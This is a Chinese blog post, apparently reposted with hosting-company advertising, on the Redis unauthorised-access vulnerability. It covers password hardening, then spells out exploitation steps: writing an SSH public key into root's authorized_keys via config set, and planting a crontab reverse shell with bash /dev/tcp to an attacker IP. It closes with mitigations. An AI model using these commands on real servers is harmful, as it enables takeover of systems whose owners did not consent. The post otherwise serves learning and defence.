各位大佬好!好久沒寫過博客記錄了,最近挖了個(gè)redis未授權(quán)訪問漏洞,并利用了一番,在此,分享下這個(gè)雞肋卻能直接獲得服務(wù)器權(quán)限的漏洞。
創(chuàng)新互聯(lián)長(zhǎng)期為上千余家客戶提供的網(wǎng)站建設(shè)服務(wù),團(tuán)隊(duì)從業(yè)經(jīng)驗(yàn)10年,關(guān)注不同地域、不同群體,并針對(duì)不同對(duì)象提供差異化的產(chǎn)品和服務(wù);打造開放共贏平臺(tái),與合作伙伴共同營造健康的互聯(lián)網(wǎng)生態(tài)環(huán)境。為常山企業(yè)提供專業(yè)的網(wǎng)站設(shè)計(jì)制作、成都做網(wǎng)站,常山網(wǎng)站改版等技術(shù)服務(wù)。擁有十年豐富建站經(jīng)驗(yàn)和眾多成功案例,為您定制開發(fā)。Redis默認(rèn)配置是不需要密碼認(rèn)證的,也就是說只要連接的Redis服務(wù)器的host和port正確,就可以連接使用。這在安全性上會(huì)有一定的問題,所以需要啟用Redis的認(rèn)證密碼,增加Redis服務(wù)器的安全性。
Redis的配置文件默認(rèn)在/etc/redis.conf,找到如下行:
#requirepass foobared
去掉前面的注釋,并修改為所需要的密碼:
requirepass myPassword
(其中myPassword就是要設(shè)置的密碼)
如果Redis已經(jīng)配置為service服務(wù),可以通過以下方式重啟:
service redis restart
如果Redis沒有配置為service服務(wù),可以通過以下方式重啟:
/usr/local/bin/redis-cli shutdown
/usr/local/bin/redis-server /etc/redis.conf
設(shè)置Redis認(rèn)證密碼后,客戶端登錄時(shí)需要使用-a參數(shù)輸入認(rèn)證密碼,不添加該參數(shù)雖然也可以登錄成功,但是沒有任何操作權(quán)限。如下:
$ ./redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379> keys *
(error) NOAUTH Authentication required.
使用密碼認(rèn)證登錄,并驗(yàn)證操作權(quán)限:
$ ./redis-cli -h 127.0.0.1 -p 6379 -a myPassword
127.0.0.1:6379> config get requirepass
1) "requirepass"
2) "myPassword"
看到類似上面的輸出,說明Reids密碼認(rèn)證配置成功。
漏洞描述:
Redis因配置不當(dāng)可以未授權(quán)訪問,被***者惡意利用。
***者無需認(rèn)證訪問到內(nèi)部數(shù)據(jù),可能導(dǎo)致敏感信息泄露,***也可以惡意執(zhí)行flushall來清空所有數(shù)據(jù)。
***者可通過EVAL執(zhí)行l(wèi)ua代碼,或通過數(shù)據(jù)備份功能往磁盤寫入后門文件。
如果Redis以root身份運(yùn)行,***可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務(wù)器。
危害:
***者可利用該漏洞寫入計(jì)劃任務(wù)反彈shell
***者可利用該漏洞寫入ssh公鑰遠(yuǎn)程連接。
利用原理:
1) SSH免密碼登錄,Linux下可以設(shè)置SSH免密碼登錄,方法為使用"公私鑰"認(rèn)證,即首先在客戶端上創(chuàng)建一對(duì)公私鑰 (公鑰文件:~/.ssh/id_rsa.pub; 私鑰文件:~/.ssh/id_rsa)。然后把公鑰放到服務(wù)器上(~/.ssh/authorized_keys), 自己保留好私鑰.在使用ssh登錄時(shí),ssh程序會(huì)發(fā)送私鑰去和服務(wù)器上的公鑰做匹配.如果匹配成功就可以登錄了。詳細(xì)可參考(http://jingyan.baidu.com/article/2fb0ba4043124a00f2ec5f0f.html )SSH免密碼登陸遠(yuǎn)程服務(wù)器
2)Redis可通過Redis-CLI遠(yuǎn)程管理,設(shè)置Redis的默認(rèn)路徑以及數(shù)據(jù)庫緩存文件。
方法如下:config set dir /xxx
config set dbfilename xxxx
set xxxx "xxx"
save
1.Redis服務(wù)使用ROOT賬號(hào)啟動(dòng)
2.Redis服務(wù)無密碼認(rèn)證或者使用的是弱口令進(jìn)行認(rèn)證
3.服務(wù)器開放了SSH服務(wù),而且允許使用密鑰登錄,即可遠(yuǎn)程寫入一個(gè)公鑰,直接登錄遠(yuǎn)程服務(wù)器。
首先在本地生成一對(duì)密鑰:
然后通過redis-clis遠(yuǎn)程連接到目標(biāo)redis服務(wù)器,執(zhí)行以下命令config set dir /root/.ssh/
config set dbfilename authorized_keys
set xxxx "\n\n\nssh-rsa key_pub\n\n\n",其中key_pub為上圖生成的公鑰,即可將公鑰保存在遠(yuǎn)端服務(wù)器,使得登錄時(shí)不需要輸入賬號(hào)與密碼。Redis已經(jīng)因該漏洞被***,并在其緩存數(shù)據(jù)庫中發(fā)現(xiàn)被寫入的公鑰,建議用戶馬上對(duì)內(nèi)部網(wǎng)絡(luò)進(jìn)行排查。
1、telnet登錄/也可以redis-cli登錄
telnet 192.168.236.130 6379
//未授權(quán)登錄
config set dir /var/spool/cron/ //配置文件夾的路徑(CONFIG SET 命令可以動(dòng)態(tài)地調(diào)整 Redis 服務(wù)器的配置而(configuration)而無須重啟。)//每個(gè)用戶生成的crontab文件,都會(huì)放在 /var/spool/cron/ 目錄下面
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.236.129/9999 0>&1\n\n\n"
//直接往當(dāng)前用戶的crontab里寫入反彈shell,換行是必不可少的。
2.nc反彈
3.Centos里面查看crontab任務(wù)。
該漏洞的修補(bǔ)方法如下:
1)禁止使用 root 權(quán)限啟動(dòng) redis 服務(wù);
2)對(duì) redis 訪問啟用密碼認(rèn)證,并且添加 IP 訪問限制;
3)盡可能不對(duì)公網(wǎng)直接開放 SSH 服務(wù)。
另外有需要云服務(wù)器可以了解下創(chuàng)新互聯(lián)scvps.cn,海內(nèi)外云服務(wù)器15元起步,三天無理由+7*72小時(shí)售后在線,公司持有idc許可證,提供“云服務(wù)器、裸金屬服務(wù)器、高防服務(wù)器、香港服務(wù)器、美國服務(wù)器、虛擬主機(jī)、免備案服務(wù)器”等云主機(jī)租用服務(wù)以及企業(yè)上云的綜合解決方案,具有“安全穩(wěn)定、簡(jiǎn)單易用、服務(wù)可用性高、性價(jià)比高”等特點(diǎn)與優(yōu)勢(shì),專為企業(yè)上云打造定制,能夠滿足用戶豐富、多元化的應(yīng)用場(chǎng)景需求。